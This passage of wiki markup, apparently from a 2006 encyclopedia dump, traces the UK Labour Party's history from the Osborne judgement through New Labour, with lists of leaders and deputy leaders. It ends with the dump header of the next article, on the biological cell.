In [[1909]] the [[Osbourne judgement]] ruled that Trade Unions could not raise funds for political purposes, a move which threatened one of Labour's main funding sources. This was especially detrimental to the Labour party as it supporters were generally poorer than other political parties. The two elections in [[1910]] saw Labour gain 40 seats and 42 seats respectively. In [[1911]] David Lloyd George gave MPs a wage of £400 per annum, which partly helped to alleviate the financial problems and the Osbourne judgement was overturned in [[1913]]. 

Support grew for Labour during the 1910-1914 period as a result of an unprecedented scale of strike action. [[National Union of Seamen|Seamen]], [[National Union of Railwaymen|rail workers]], [[cotton]] workers, [[coal]] [[National Union of Mineworkers|miners]], [[Dockers' Union (UK)|dockers]] and many other groups all organised strikes, with many sympathy strikes also occurring. This increase in action can partly be explained by the recession of 1908-09 and subsequent rise in unemployment, as well as the growing support for radical change among the working-class (such as support for [[syndicalism]]). This was no doubt helped by the sometimes heavy-handed measures of the Liberal government; [[Winston Churchill]] sent in troops to the [[Rhondda valley]] in 1910 to deal with coal miners, resulting in some fatalities.

==The Great War and Aftermath==
During the [[First World War]] the Labour Party split between supporters and opponents of the conflict. [[Ramsay MacDonald]], a notable anti-war campaigner, resigned as leader of the Parliamentary Labour Party. [[Arthur Henderson]] became the main figure of authority within the Party and was soon accepted into [[Asquith]]'s War Cabinet. Despite the mainstream Labour Party's support for the Coalition, the [[Independent Labour Party]] is instrumental in opposing mobilisation through organisations such as the [[Non-Conscription Fellowship]].

The unease within the Party grew as the [[First World War]] went on, and this was reflected in a number of wildcat unofficial strikes organised by Labour Party affiliate, the [[British Socialist Party]]. [[Arthur Henderson]] resigned from the Cabinet in 1917, reflecting a desire for peace which united the Party. The growth in Labour's local activist base and organisation was reflected in the elections following the War, with the [[co-operative]] movement now providing its own resources to the [[Co-operative Party]] following the end of hostilities. The [[Co-operative Party]] was to later reach an electoral agreement with the Labour Party.

The Liberal Party split between factions supporting leader David Lloyd George and former leader [[Herbert Asquith]]. At the end of the war universal adult male suffrage was enacted, together with votes for women over the age of 30. The Liberal split, accompanied by this fundamental change in the system, allowed the Labour Party to co-opt some of the Liberals' support, and by the [[United Kingdom general election, 1922|1922 general election]] Labour had supplanted the [[Liberal Party (UK)|Liberal Party]] as the main opposition to the [[Conservative Party (UK)|Conservatives]].  

Labour's main electoral bases were in the industrial areas of [[Northern England]], the [[Midlands]], [[Scotland]] and [[Wales]]. Because of the concentrated geographical nature of Labour's support, industrial downturns tended to hit Labour voters directly. Anecdotal evidence suggests that party membership was often working-class, but also included many middle-class radicals, former liberals and socialists. Accordingly, branches in London and the South of England displayed a general tendency to be more left-wing or radical than those in the primary industrial areas. 

The Liberals remained in turmoil, and there was huge working-class disillusionment with conditions  in the post-war UK. Labour formed its first minority government with Liberal support in January [[1924]], with [[Ramsay MacDonald]] as [[Prime Minister]]; the government collapsed after nine months when the Liberals voted for a Select Committee inquiry which MacDonald had declared an issue of confidence but the Liberal electoral base had vanished. The ensuing [[united Kingdom general election, 1924|general election]] saw the publication four days before polling day of the [[Zinoviev Letter]] implicating Labour in a plot for a Communist revolution, and the Conservatives returned to power. The Zinoviev letter is now generally believed to have been a forgery.

Revolutionary tendencies within the [[labour movement]] also came under media scrutiny during the [[General Strike]] in [[1926]], the defeat of which caused enduring bitterness among the miners and their allies. The leadership of the Party were seen as a moderate influence during the industrial conflict, which seemed to confirm their respectability and suitability for office.

==The split under MacDonald==
[[Image:Oldlabour2.gif|right|thumb|130px|the original 'liberty' logo, in use until 1983]]
The [[United Kingdom general election, 1929|election of May 1929]] saw Labour returned for the first time as the largest party in the House of Commons, and Ramsay MacDonald formed a second Liberal-backed government, though Labour's lack of a parliamentary majority again prevented it from carrying out its desired legislative programme. At this stage the party still lacked a distinctive [[macroeconomic]] policy and, with other industrialised countries, the British economy was paralysed by the growing financial chaos caused by the [[Wall Street Crash]] in [[1929]].

The [[Great Depression in the United Kingdom|financial crisis of 1931]] caused a disastrous split in the party, with MacDonald and a few senior ministers going into alliance with the Conservatives and Liberals as the &quot;National Government&quot; ([[August 24]], [[1931]]) while most of the party rank-and-file went into opposition under the leadership of first [[George Lansbury]] and (from [[1935]]) [[Clement Attlee]]. The ILP under [[James Maxton]] disaffiliated from the Labour Party in [[1932]], removing a substantial proportion of the left of the party from membership.

While MacDonald's &quot;National Labour&quot; following dwindled to a small parliamentary appendage to the Conservatives, opposition Labour rapidly regained most of the party's former electoral support. The hugely influential trade union leader [[Ernest Bevin]] and [[Clement Attlee]] played a large role in moving the party away from its residual [[pacifism]] and entered the [[World War II|wartime]] coalition government of [[Winston Churchill]] (May [[1940]]) on terms of near equality with the Conservative majority.

==Post-War victory to the 1960s==
[[Image:Catlee.jpg|frame|right|Labour Prime Minister 1945-1951, [[Clement Attlee]]]]
[[Image:haroldwilson.jpg|thumb|200px|right|Labour Prime Minister 1964-1970, [[Harold Wilson]]]]
With the end of the war in Europe in May [[1945]], Labour resolved not to repeat the Liberals' error of [[1918]], and withdrew from the government to contest the [[United Kingdom general election, 1945|subsequent general election]] (July 5) in opposition to Churchill's Conservatives. Surprisingly to many (especially overseas) observers, Labour won a landslide majority, reflecting voters' perception of it as the party to carry through wartime promises of reform. The results were announced on [[July 26]]; Labour won 48% of the vote and a landslide Parliamentary majority of 146 seats.

Clement Attlee's government was one of the most radical British governments of the 20th century. It presided over a policy of selective [[nationalisation]] (the [[Bank of England]], coal, electricity, gas, the [[railways]] and iron &amp; steel). It developed a &quot;cradle to grave&quot; [[welfare state]] under health minister [[Aneurin Bevan]]. The party still considers the creation in [[1948]] of Britain's tax funded [[National Health Service]] its proudest achievement. 

The deepening divisions which led to the [[Cold War]] prompted Attlee's government to make a secret decision to proceed with Britain's [[nuclear deterrent]]. Defence became one of the divisive issues for Labour itself, especially the amount of money Britain was spending on defence (which reached 10% of GDP in 1950 due to the [[Korean War]]). [[Aneurin Bevan]] eventually quit the government over this issue. The government also faced a fuel crisis and a balance of payments crisis in [[1947]]. Labour narrowly lost power to the Conservatives in October [[United Kingdom general election, 1951|1951]], despite winning more votes.

Throughout the 1950s and early 1960s the party became split between moderate modernisers led by [[Hugh Gaitskell]], which were associated with the main trade unions, and more traditional [[socialist]] elements within the party.  This split, and the fact that the public was broadly content with the Conservative governments of the period, which had preserved most of the changes made by the Attlee government, kept the party out of power for thirteen years. 

By the end of the 1950s, the [[New Left]], including such figures as [[E.P. Thompson]], were becoming increasingly influential and this was reflected at a grassroots level, particularly within Labour Party branches in [[London]]. Pressure grew on Labour's [[Atlanticist]] defence policy with repeated attempts to move the party towards [[unilateral nuclear disarmament]] in line with the  [[Campaign for Nuclear Disarmament]]'s agenda. Eventually, in [[1960]] Conference rejected Britain's [[nuclear deterrent]], despite the vigorous opposition of the leadership. Whilst this was overturned the following year, it indicates the fractured nature of the party at the time.

However, in the early 1960s, a series of scandals such as the [[Profumo affair]] engulfed the Conservative government, which damaged its popularity. The Conservative party was also seen as being out of touch with the changing country and the economy began to turn down. Due largely to this, the Labour party returned to government under [[Harold Wilson]] in [[United Kingdom general election, 1964|1964]] and remained in power until [[United Kingdom general election, 1970|1970]].

The 1960s Labour government claimed to be far less radical on economic policy than its 1940s predecessor, tending to support a mixed economy, combined with economic planning to improve the [[trade balance]] and highly targeted taxation on services. Most painfully, the government suffered from a [[currency crisis]] until [[1967]] when it was forced into [[devaluation]] of the pound. They introduced several social changes, such as the partial legalisation of [[homosexuality]] and the abolition of the [[death penalty]]. In the [[United Kingdom general election, 1970|1970 general election]], [[Edward Heath]]'s Conservatives narrowly defeated Harold Wilson's government. Wilson's party won power again in [[United Kingdom general election, 1974 (February)|February 1974]]. After possessing a minority government, they achieved a small majority in a [[United Kingdom general election, 1974 (October)|second general election]] in October 1974, also under Harold Wilson.

==The 1970s==
The 1970s proved to be a disastrous time to be in government. Faced with a world-wide economic downturn and a badly suffering British economy, the Government was forced to take an [[interventionist]] approach, and companies such as [[British Leyland]] were [[nationalised]] to prevent their collapse. Pressure on the [[pound sterling]] compounded these problems and in [[1976]] the Labour Government felt obliged to go to the [[IMF]] for a loan to ease them through their financial troubles. Conditions attached to the loan meant the adoption of a more liberal economic programme by the Labour Government, meaning a move away from the party's traditional policy base.

Despite the economic difficulties faced by the 1970s Labour governments, enduring social democratic reforms were successfully pursued, among them, the introduction of [[child benefit]] and [[redundancy pay]]. The membership was becoming increasingly vocal and left-wing in this period, illustrated by the rowdy nature of Party Conference.

The 1970s were dogged by a host of industrial problems, including widespread [[Strike action|strike]]s and [[trade union]] militancy. The Labour Party's close ties to the increasingly unpopular trade unions is cited as a cause of the party's gradual loss of support throughout the decade. 

In [[1976]], citing his desire to retire on his sixtieth birthday, Wilson stood down as Labour Party leader and Prime Minister, and was replaced by [[James Callaghan]]. In the same year as Callaghan became leader, the party in [[Scotland]] suffered the breakaway of two MPs into the [[Scottish Labour Party]] (SLP). This breakaway was prompted by dissatisfaction with the lack of progress being made by the government on delivery of a devolved Scottish Assembly.  Whilst ultimately the SLP proved no real threat to the Labour Party's strong Scottish electoral base it did show that people were beginning to think of breaking with the mainstream UK Labour Party. The issue of Scottish [[devolution]] became increasingly fraught, especially after the discovery and exploitation of [[North Sea Oil]] which signalled the turning point of the UK economy after [[1978]].

Ultimately, the economic problems facing the Labour Government of the 1970s, and the political difficulties of Scottish and Welsh devolution, proved too great for it to surmount despite an arrangement negotiated in [[1977]] with the Liberals known as the [[Lib-Lab Pact]]. In [[1979]], they faced the disastrous &quot;[[Winter of Discontent]]&quot;, and in the [[United Kingdom general election, 1979|1979 general election]] they suffered electoral defeat to the [[The Conservative Party|Conservatives]], led by [[Margaret Thatcher]].

==The Thatcher years==
The aftermath of the election defeat in 1979 provoked a period of bitter internal rivalry in Labour. From the mid 1970s, the party had became bitterly divided between left wingers under [[Michael Foot]] and [[Tony Benn]], whose supporters dominated the party organisation at grassroots level, and right wingers under [[Denis Healey]]. After the defeat, the left had the upper hand when it asserted that the government had become unpopular because it had alienated its base by compromising, and needed to regain it by moving to a more left-wing policy.

The election of Foot to the leadership and the change to a system of leadership elections in which party activists and affiliated trade unions had a vote led to the decision by the [[Gang_of_Four_%28disambiguation%29|Gang of Four]] (former Labour cabinet ministers) on [[January 26]], [[1981]] to issue the 'Limehouse Declaration', and then to form the [[Social Democratic Party (UK)|Social Democratic Party]]. The Gang of Four were [[Roy Jenkins]], [[David Owen]], [[Shirley Williams]] and [[Bill Rodgers (politician)|William Rodgers]]. The departure of even more right-wingers further swung the party to the left, but not quite enough to allow Tony Benn to be elected as Deputy Leader when he challenged for the job at the September 1981 party conference. In response to the [[Troubles]] in [[Northern Ireland]], the party committed itself to &quot;campaign actively&quot; for a [[United Ireland]].

The system for electing the leader changed from a ballot of Parliamentary Labour Party (PLP) members, to an [[electoral college]]-style system, where affiliated organisations took a 40% weighting, whilst constituency Labour Parties and the PLP took a weighting of 30% each.

===1983===
[[Image:Labour83.GIF|right|thumb|160px|Logo introduced in 1983 after Labour's disastrous election campaign]]
Led by Michael Foot, who was increasingly unpopular with the public, the party went into the [[United Kingdom general election, 1983|1983 general election]] with a manifesto dominated by the politics of the party's left-wing, but considered by some socialists to be too watered down by Foot's indecisiveness and pressure from the party's right-wing to be truly convincing. The manifesto contained pledges to unilaterally disarm Britain's nuclear deterrent, withdraw from the [[European Community]] (EC), and pledged a programme of mass [[nationalisation]] of industry. A symptom of the divisions in the party was that the leading members of the right-wing had not resisted the manifesto, because they hoped that what they saw as an impending inevitable landslide defeat would discredit the policies. The 1983 manifesto was famously described by the senior Labour politician [[Gerald Kaufman]] as being 'the longest suicide note in history'. 

The right-wing press wasted no time in attacking the party's manifesto and the style of campaigning which the Party adopted, which tended to rely upon public meetings and canvassing rather than media.  Labour's chances of electoral success were further damaged by the fact that the Thatcher government's popularity was on the rise after successfully guiding the country to victory in the [[Falklands War]]. This bolstered Thatcher who had been low in the polls due to a severe economic downturn. 

After suffering a landslide defeat at the 1983 election, Michael Foot immediately resigned. He was replaced by [[Neil Kinnock]], who though initially a firebrand left-winger, had generally supported Foot and was seen as a more pragmatic leader. Through his leadership Kinnock progressively moved the party to the centre. He vastly intensified moves to expel left groups such as the [[Militant Tendency]] which represented left-wing views no longer supported by the party leadership, and further changed party policy to support EC membership. From [[1985]], [[Peter Mandelson]] as Director of Communications modernised the party's image.

===1987===
At the [[United Kingdom general election, 1987|1987 general election]], the party was again defeated in a landslide, but had established itself as the clear challengers to the Conservatives and had fought an effective campaign. Kinnock easily retained the party leadership when challenged from the left in [[1988]] and continued his reform of the party. The resulting Policy Review was offered as a single document for approval or disapproval. By accepting the conclusions, The Labour Party ceased to be unilateralist in early [[1989]], which contradicted individual Conference decisions.

During this time the Labour party abandoned its links to high taxation and old style nationalisation, which aimed to show that the party was moving away from the left wing of the political spectrum and moving towards the centre. It also became actively pro-European, supporting further moves to [[European integration]].

Re-organisation of the Party organisation resulted in the dissolution of the [[Labour Party Young Socialists]], which was thought to be harbouring [[entryist]] [[Militant]] groups. It also resulted in a more centralised communication structure, enabling a greater degree of flexibility for the leadership to determine policy, react to events and direct resources.

===1992===
By the time of the [[United Kingdom general election, 1992|1992 general election]], the party had reformed to such an extent that it was perceived as a credible candidate for government. Most opinion polls during the campaign showed the party with a slight lead over the Conservatives although rarely with a lead sufficient to give a majority. However, the party ended up 8% behind the Conservatives in the popular vote, a result which was considered one of the biggest surprises in British electoral history. In the party's post mortem on why it had lost, it was considered that the 'Shadow Budget' announced by [[John Smith (UK politician)|John Smith]] had opened the way for Conservatives to attack the party for wanting to raise taxes. In addition Neil Kinnock's seeming triumphalism at a party rally in [[Sheffield]] eight days before polling day gave the impression that victory had already been achieved.

Kinnock resigned after the defeat, blaming the overwhelming preponderance of Conservative-supporting newspapers for Labour's failure. [[John Smith (UK politician)|John Smith]], despite his involvement with the Shadow Budget, was easily elected to succeed him over [[Bryan Gould]] who was identified with the soft left. Smith's leadership saw a degree of tension between those who preferred progressive change and others who identified as 'modernisers' and advocated a further wholesale revision of the party's stance. At the [[1993]] conference, Smith successfully changed the party rules so that trade unions had less say in the selection of candidates to stand for Parliament, by introducing a [[one member, one vote]] system but only just carried the day after a barnstorming speech by [[John Prescott]] and compromising on other matters in individual negotiations. However in May 1994, Smith died suddenly from a heart attack.

The new electoral system, introduced in time for the [[Labour Party leadership election, 1994|election caused by Smith's death]], removed the 'block voting' previously in use whereby trade unions cast all their votes one way or another.  Instead, members of the unions, and individual members were polled directly, making up two thirds of the weight given in the electoral college, whilst the PLP took the other third.

==New Labour==
&quot;New Labour&quot; is an alternative name for the Labour Party which originated in 1994. The name is primarily used by the party itself in its literature but is also sometimes used by political commentators and the wider [[mass media|media]]; it was also the basis of a [[Conservative Party (UK)|Conservative Party]] poster campaign of 1997, headlined &quot;New Labour, New Danger&quot;. The rise of the name coincided with a rightwards shift of the British political spectrum; for Labour, this was a continuation of the trend that had begun under the leadership of [[Neil Kinnock]]. &quot;Old Labour&quot; is sometimes used by commentators to describe the older, more left-wing members of the party, or those with strong Trade Union connections.

The name &quot;New Labour&quot; originates from a conference slogan first used by the Labour Party in [[1994]], which was later seen in a draft [[manifesto]] published by the party in [[1996]], called ''New Labour, New Life For Britain''. However the term was intended to incorporate a wider [[brand|rebranding]] of the party in the eyes of the electorate. The new name coincided with the re-writing of [[Clause IV]] of the party's constitution in [[1995]]. [[Peter Mandelson]] was a senior figure in this process, and exercised a great deal of authority in the party following the death of [[John Smith (UK politician)|John Smith]] and the subsequent election of [[Tony Blair]] as party leader. 

[[Tony Blair]], [[Gordon Brown]], [[Peter Mandelson]] and [[Alastair Campbell]] are most commonly cited as the creators and architects of the New Labour ethos. They were among the most prominent advocates of the right-wing shift in European [[social democracy]] during the 1990s, known as the &quot;[[Third Way]]&quot;. The use of &quot;New&quot; echoes slogans in [[Politics of the United States|American politics]], particularly those of the Democratic Party, such as [[Franklin Delano Roosevelt|Roosevelt]]'s [[New Deal]], [[John F. Kennedy|Kennedy's]] [[New Frontier]]
and [[Bill Clinton|Clinton's]] [[New Covenant]].

New Labour (as a series of values) is often characterised as a belief in 'no rights without responsibilities', i.e. that a citizen should recognise that s/he possesses responsibilities linked with any legal rights they hold.  The concept of a 'stakeholder society' is quite prominent in New Labour thinking. As noted above, New Labour thought also embraces the notion of the &quot;Third Way&quot;, although critics pointed to the lack of any concise statement of its meaning, and the term later fell from use.

Labour's economic policy sought to balance the laissez-faire capitalism of the Thatcherite era with measures that would lessen or reverse their negative impact on society. One of the most popular policies introduced was Britain's first [[National Minimum Wage Act]]. Labour's social policy has been affected by the fact that the first ''New Labour'' administration had more women MPs than any previous UK government. This is now reflected, somewhat ironically, in the apportionment of ministerial jobs on gender-specific lines, with functions to do with traditional feminine attributes such as family, social services, health, food, education, etc. generally going to women ministers, and those to do with traditionally more masculine things like defence, transport, industry, foreign policy and finance, etc. generally going to men [http://www.pmo.gov.uk/output/Page2988.asp].

Tony Blair secured the revision of [[Clause IV]] of the party constitution, which had been adopted in [[1918]], and which committed the party to 'the [[common ownership]] of the means of production'. This was widely interpreted in the past as a policy of [[nationalisation]]:

:&quot;To secure for all the workers by hand or by brain the full fruits of their industry and the most equitable distribution thereof that may be possible upon the basis of the common ownership of the means of production, distribution and exchange, and the best obtainable system of popular administration and control of each industry of service.&quot;

A special conference of the party approved the change in March [[1995]]. The key phrase of the new clause IV is:

:&quot;The Labour Party is a democratic socialist party. It believes that by the strength of our common endeavour we achieve more than we achieve alone, so as to create for each one of us the means to realise our true potential and for all of us a community in which power, wealth and opportunity are in the hands of the many not the few, where the rights we enjoy reflect the duties we owe, and where we live together, freely, in a spirit of solidarity, tolerance and respect.&quot;

An earlier attempt to modify clause IV, by [[Hugh Gaitskell]], had failed, after which most Labour leaders regarded it as a distraction. Tony Blair was, however, determined to signal his mastery of the party and his complete rejection of those policies, such as nationalisation, which were seen to damage Labour.
[[Image:Labour manifesto 97.jpg||thumb|The cover of Labour's [[1997 general election]] [[manifesto]]|right]]
The name change coincided with a dramatic revival of the party's fortunes. The &quot;modernisation&quot; of Labour party policy, and the unpopularity of the Conservative government, greatly increased Labour's appeal to &quot;[[middle England]]&quot;. The party was concerned not to put off potential voters who had previously supported the Conservatives, and pledged to keep to the spending plans of the previous government, and not to increase the basic rate of income tax. Unexpectedly defeated for a fourth consecutive time in the [[United Kingdom general election, 1992|1992 election]], the party won the [[United Kingdom general election, 1997|1997 election]] with a majority of 179. Following a period of government and in particular after a second and third election victory in [[United Kingdom general election, 2001|2001]] and [[United Kingdom general election, 2005|2005]], the name has diminished in significance in British political life. The Labour Party is generally referred to in the media as 'the Government' rather than 'New Labour'. However, the name is still used in party literature.

One of the first acts of the Labour government was to give the [[Bank of England]] operational independence in setting interest rates, a move that had not been foreshadowed in the manifesto or during the election campaign. Labour held to its pledges to keep to the spending plans set by the Conservatives, causing strain with those members of the party who had hoped that the landslide would lead to more radical policies.  In December [[1997]], 47 left-wing Labour MPs rebelled when the government carried through the previous administration's plans to cut the benefits paid to new lone parents. The government also promoted wider use of [[Public Private Partnerships]] and the [[Private Finance Initiative]], which were opposed particularly by trade unions as a form of [[privatisation]].

In practice, the New Labour government were far closer to large corporations and rich businessmen than any other Labour government which  preceded it.  New Labour attracted donations from companies and rich individuals on a large scale, and often the largest benefactors have received peerages and ministerial positions. This could have influenced the range and type of policies pursued, as many of the Policy Taskforces instigated in [[1997]] and [[1998]] found a place for large numbers of industrialists, including [[Lord Simon]], a former chairman of [[BP]], [[Lord Sainsbury]] of the supermarket dynasty, and [[Alec Reed]] of Reed Employment. There have been various reports regarding the effect of such close links and policies such as [[Public-Private Partnership]] schemes, deregulation of utilities, privatisation and the  tendency to [[outsource]] government services. The policy role of the Labour Party itself in the New Labour government could arguably be described as fairly minor.

The party won a further landslide majority (on a 59% turnout) in [[United Kingdom general election, 2001|2001]], the first time ever that the Labour Party won two successive full terms of office. The second term saw increases in public spending, especially on the [[National Health Service]], which the government insisted must be linked to the reforms it was proposing. Spending on education was likewise increased, with schools encouraged to adopt &quot;specialisms&quot;. The Prime Minister's spokesman [[Alastair Campbell]] was much criticised by education professionals and teachers' trade unions when he stated that this policy meant the end of &quot;the bog-standard [[Comprehensive Schools|comprehensive]]&quot;.

Labour's foreign policy kept it close to the [[United States]]. Tony Blair managed to persuade [[Bill Clinton]] to take a more active role in [[Kosovo]] in [[1999]], and UK forces assisted in the international coalition which attacked the [[Taliban]] regime in [[Afghanistan]] in [[2001]]. The UK was one of the allies of the United States that actually participated in the [[2003 invasion of Iraq]]. The decision to engage in the conflict was met with much public disapproval, and many called Tony Blair's credibility into question when doubts emerged as to whether intelligence concerning Iraq's [[Weapons of mass destruction|Weapons of Mass Destruction]] was at all reliable.  This loss of support contributed to the substantial reduction of Labour's majority in the [[United Kingdom general election, 2005|2005 general election]].

The name &quot;New Labour&quot; has been widely satirised. Critics associate the new name with an unprecedented use of '[[spin doctor|spin doctoring]]' in the party's relationship with media. The [[Conservative Party (UK)|Conservative Party]] attempted to tarnish the new Labour tag during the 1997 election campaign using the slogan 'New Labour, New Danger'. After [[Gordon Brown]]'s budgets became more and more [[Keynesian]], ''[[Private Eye]]'' began to call the party 'New' Labour. Oddly, it continues to do so even in articles relating an example of privatisation or free-market initiatives by Labour (a frequent theme, especially in Doing the Rounds, the medical column, and In the Back, the investigative section), or other right-wing or [[neoliberalism|neoliberal]] policies, in which context the ironic inverted commas would be more appropriate around &quot;Labour&quot; than around &quot;New&quot;. 

In left-wing circles, the name &quot;New Labour&quot; or [[Neo]] Labour is used [[pejorative]]ly to refer to the perceived domination of the Labour Party by its right-wing. Indeed, some [[socialists]] argue that Labour has become so fond of [[neo-liberal]] policies it is [[Thatcherism|Thatcherite]] rather than [[Democratic Socialism|Democratic Socialist]].

==The Labour Party today==
[[Image:LabourCampaignPoster20050115 CopyrightKaihsuTai.jpg|333px|right|thumb|Labour, the incumbent party displayed campaign posters, even prior to the 2005 election being called. This one is seen in [[Brighton]] in mid-January, [[United Kingdom general election, 2005|2005]].]]

The party's popularity has declined since 2001 with a sharp drop in membership reported. Nevertheless, Labour won the  [[United Kingdom general election, 2005| 2005 general election]] with a reduced majority of 66 (now 64 following a [[Dunfermline and West Fife by-election, 2006|by-election]] loss to the [[Liberal Democrats]]), despite only taking 35.3% of the popular vote. [[Tony Blair]] has said he will serve a full third term, which implies that he will retire in 2010 at the very latest. However, he has recently faced defeat in the [[House of Commons]] over controversial policies, and his authority is increasingly coming under question in the media and on the Labour back-benches.

It is likely that Blair will retire earlier than that to allow time for his successor to settle in before another election campaign.  If the pattern of recent elections is followed, the [[United Kingdom general election, 2009/10|next election]] will be held on [[June 11]], [[2009]] to coincide with elections to the [[European Parliament]].  This would suggest the announcement of Blair's resignation by Summer [[2008]] to allow for the leadership election and a &quot;coronation&quot; at the party conference in the autumn.  Following the alleged [[Granita (restaurant)|Granita agreement]], [[Gordon Brown]], the long serving [[Chancellor of the Exchequer]], has been widely expected to succeed Blair and become Labour Leader and [[Prime Minister]]. However, with the young, vibrant &quot;new Blair&quot; David Cameron being elected as the new leader of the Conservitive Party, Brown may be seen as to dour a figure to succeed by many in the party, as well as by the wider electorate. 

[[Home Secretary]], [[Charles Clarke]], has said recently he expects there to be a leadership contest when [[Tony Blair]] steps down. Potential competitors to [[Gordon Brown]] could be current [[Secretary of State for Defence]], [[John Reid]], or [[Secretary of State for Health]], [[Patricia Hewitt]]. Also many tip [[Minister of State for Communities and Local Government]], [[David Miliband]], to be Blair's real preference to succeed him.

{{seealso|Politics of the United Kingdom}}

==Leaders of the Labour Party since 1906==
From [[1906]] until [[1922]] the leader was formally &quot;Chairman of the Parliamentary Labour Party&quot;.

* [[Keir Hardie]] [[1906]]&amp;ndash;[[1908]]
* [[Arthur Henderson]] [[1908]]&amp;ndash;[[1910]]
* [[George Nicoll Barnes]] [[1910]]&amp;ndash;[[1911]]
* [[Ramsay MacDonald]] [[1911]]&amp;ndash;[[1914]]
* [[Arthur Henderson]] [[1914]]&amp;ndash;[[1917]]
* [[William Adamson]] [[1917]]&amp;ndash;[[1921]]
* [[John Robert Clynes]] [[1921]]&amp;ndash;[[1922]]

From [[1922]] until [[1970]], the leader was formally &quot;Leader of the Labour Party&quot; and &quot;Chairman of the Parliamentary Labour Party&quot;. However these two posts were occasionally split, usually when the party was in government or when the leader of the party did not sit in the [[House of Commons]].

* [[Ramsay MacDonald]] [[1922]]&amp;ndash;[[1931]]
* [[Arthur Henderson]] [[1931]]&amp;ndash;[[1932]]

Arthur Henderson lost his seat in the Commons a couple of months after becoming leader. For the remainder of his leadership, the Chairman of the Parliamentary Labour Party was [[George Lansbury]].

* [[George Lansbury]] [[1932]]&amp;ndash;[[1935]]
* [[Clement Attlee]] [[1935]]&amp;ndash;[[1955]]
* [[Hugh Gaitskell]] [[1955]]&amp;ndash;[[1963]] (died in office)
* [[Harold Wilson]] [[1963]]&amp;ndash;[[1976]]

In [[1970]], the posts of &quot;Leader of the Labour Party&quot; and &quot;Chairman of the Parliamentary Labour Party&quot; were split with the latter having no policy role.

* [[James Callaghan]] [[1976]]&amp;ndash;[[1980]]
* [[Michael Foot]] [[1980]]&amp;ndash;[[1983]]
* [[Neil Kinnock]] [[1983]]&amp;ndash;[[1992]]
* [[John Smith (UK politician)|John Smith]] [[1992]]&amp;ndash;[[1994]] (died in office)
* [[Margaret Beckett]] [[1994]] (acting)
* [[Tony Blair]] [[1994]]&amp;ndash;present

==Deputy leaders of the Labour Party since 1922==
* [[John Robert Clynes]] [[1922]]&amp;ndash;[[1931]]
* Jointly [[John Robert Clynes]] [[1931]]&amp;ndash;[[1932]] and [[William Graham]] [[1931]]&amp;ndash;[[1932]] (died in office)
* [[Clement Attlee]] [[1932]]&amp;ndash;[[1935]]
* [[Arthur Greenwood]] [[1935]]&amp;ndash;[[1945]]
* [[Herbert Morrison (politician)|Herbert Morrison]] [[1945]]&amp;ndash;[[1955]]
* [[James Griffiths]] [[1955]]&amp;ndash;[[1959]]
* [[Aneurin Bevan]] [[1959]]&amp;ndash;[[1960]]
* [[George Brown, Baron George-Brown|George Brown]] [[1960]]&amp;ndash;[[1970]]
* [[Roy Jenkins]] [[1970]]&amp;ndash;[[1972]]
* [[Edward Short]] [[1972]]&amp;ndash;[[1976]]
* [[Michael Foot]] [[1976]]&amp;ndash;[[1980]]
* [[Denis Healey]] [[1980]]&amp;ndash;[[1983]]
* [[Roy Hattersley]] [[1983]]&amp;ndash;[[1992]]
* [[Margaret Beckett]] [[1992]]&amp;ndash;[[1994]]
* [[John Prescott]] [[1994]]&amp;ndash;present.

==See also==
*[[History of British Socialism]]
*[[List of organisations associated with the British Labour Party]]
*[[List of members of the British Labour Party]]
*[[UK topics]]

==Further reading==
* Raymond Plant, Matt Beech and Kevin Hickson (2004), ''The Struggle for Labour's Soul: understanding Labour's political thought since 1945'', Routledge
* [[Roy Hattersley]], ''[[New Statesman]]'', [[May 10]], 2004, [http://www.findarticles.com/p/articles/mi_m0FQP/is_4687_133/ai_n6152909 'We should have made it clear that we too were modernisers']

==External links==
*[http://www.labour.org.uk Official website] 
*[http://www.lambethlabour.com The Labour Party in the London Borough of Lambeth]
*[http://www.labourwandsworth.org.uk The Labour Party in the London Borough of Wandsworth]
*[http://www.labour-lini.org.uk Labour in Northern Ireland Campaign]
*[http://www.labour-party.org.uk/ Unofficial website, with an archive of Labour electoral manifestos from 1900-present and a directory of Labour Party websites, including constituency associations]
*[http://labhist.tripod.com Unofficial history website]
*[http://spinwatch.server101.com/modules.php?name=Encyclopedia&amp;op=content&amp;tid=320 SpinWatch profile - Labour Friends of Israel]
*[http://politics.guardian.co.uk/labour/ Guardian Unlimited Politics - Special Report: Labour Party]
* [http://search.looksmart.com/p/browse/us1/us317836/us552286/us526499/us526505/us10234373/us703545/us671216/us671218/ LookSmart - ''Labour Party''] directory category
* [http://dmoz.org/Regional/Europe/United_Kingdom/Society_and_Culture/Politics/Parties/Labour/ Open Directory Project - ''Labour Party''] directory category 
* [http://dir.yahoo.com/Regional/Countries/United_Kingdom/Government/Politics/Parties/Labour_Party/ Yahoo! - ''Labour Party''] directory category


[[Category:UK Labour Party|*]]
[[Category:Political parties in the United Kingdom]]
[[Category:Socialist International]]
[[Category:1900 establishments]]
[[Category:Socialism]]

{{British_political_parties}}

[[bg:Лейбъристска партия]]
[[cy:Plaid Lafur]]
[[da:Labour]]
[[de:Labour Party]]
[[es:Partido Laborista (Reino Unido)]]
[[eo:Brita Laborista Partio]]
[[fa:حزب کارگر (انگلیس)]]
[[fr:Parti travailliste (Royaume-Uni)]]
[[ko:노동당 (영국)]]
[[id:Partai Buruh (Britania Raya)]]
[[it:Partito Laburista (Regno Unito)]]
[[kw:Parti Lavur]]
[[lt:Leiboristų partija]]
[[nl:Labour Party]]
[[ja:労働党 (イギリス)]]
[[no:Arbeiderpartiet (Storbritannia)]]
[[nn:Det britiske arbeidarpartiet]]
[[pl:Partia Pracy (brytyjska)]]
[[pt:Partido Trabalhista do Reino Unido]]
[[ro:Partidul Laburist (Anglia)]]
[[sv:Labourpartiet]]
[[th:พรรคแรงงาน]]
[[zh:英国工党]]</text>
    </revision>
  </page>
  <page>
    <title>Cell (biology)</title>
    <id>4230</id>
    <revision>
      <id>40808346</id>
      <timestamp>2006-02-23T03:42:16Z</timestamp>
      <contributor>
        <ip>86.143.49.123</ip>
      </contributor>
      <comment>/* Origin of first cell */</comment>
      <text xml:space="preserve">[[Image:Epithelial-cells.jpg|right|thumb|160px|Cells in culture, [[stain]]ed for [[keratin]] (red) and [[DNA]] (green)]]
